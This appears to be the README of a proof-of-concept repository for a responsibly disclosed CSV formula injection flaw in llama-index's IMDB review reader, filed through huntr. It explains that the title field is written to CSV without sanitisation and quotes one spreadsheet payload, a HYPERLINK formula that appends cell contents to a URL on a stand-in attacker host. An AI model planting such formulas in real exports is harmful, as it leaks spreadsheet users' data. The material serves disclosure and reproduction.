llama-index-csv-injection-poc

⚠️ Security Vulnerability PoC — CSV Formula Injection

This repository contains a proof-of-concept CSV file demonstrating a responsibly-disclosed CSV/formula injection vulnerability in the llama_index project (llama-index-readers-imdb-review), submitted via huntr's Model File Vulnerability (MFV) program.

What this file is

csv_injection_poc.csv reproduces the exact CSV export logic used by llama_index/readers/imdb_review/scraper.py's main_scraper() function, with a single malicious "review title" field:

=HYPERLINK("http://attacker.example/leak?d="&A2&A3,"Click for details")

This is a standard, non-destructive spreadsheet-formula-injection PoC payload (CWE-1236). It only builds a clickable link when opened in a spreadsheet application - it does not exfiltrate real data or execute arbitrary system commands.

Affected component

llama-index-readers-imdb-review - the title field extracted in scrape_data() is never sanitized before being written to CSV via pandas.DataFrame.to_csv() in main_scraper().

Do not

• Do not open this file in a spreadsheet application configured to auto-execute macros/DDE, unless you understand what you're doing.
• This is for vulnerability reproduction only.

Contact

Filed as part of responsible disclosure. See the corresponding huntr MFV report for full reproduction steps and impact analysis.